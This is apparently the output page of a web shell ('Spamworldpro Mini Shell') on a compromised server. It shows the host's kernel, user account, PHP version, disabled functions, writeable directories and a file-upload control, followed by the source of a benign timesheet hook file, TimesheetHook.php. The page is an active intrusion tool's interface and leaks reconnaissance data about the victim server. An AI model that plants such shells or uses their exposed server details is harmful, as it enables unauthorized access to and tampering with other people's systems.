Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/dceprojects.corals.io/Corals/modules/Timesheet/Hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/dceprojects.corals.io/Corals/modules/Timesheet/Hooks/TimesheetHook.php
<?php

namespace Corals\Modules\Timesheet\Hooks;

use Corals\Modules\Timesheet\Models\Employee;
use Corals\User\Models\User;

class TimesheetHook
{
    public function show_navbar()
    {
        echo view('Timesheet::hooks.navbar')->render();
    }

    public function display_profile($user)
    {
        $excludedTabs = $this->getExcludedTabsFromUserProfile($user);


        echo view('Timesheet::hooks.user_profile', compact('user', 'excludedTabs'))->render();
    }

    private function getExcludedTabsFromUserProfile($user): array
    {
        switch (true) {
            case $user instanceof Employee:
                $excludedTabs = [
                    'projects',
                ];
                break;

            case $user instanceof User:
                $excludedTabs = [
                    'jobs',
                    'entries',
                ];
                break;

            default:
                $excludedTabs = [];
                break;
        }

        return $excludedTabs;
    }

}

Spamworldpro Mini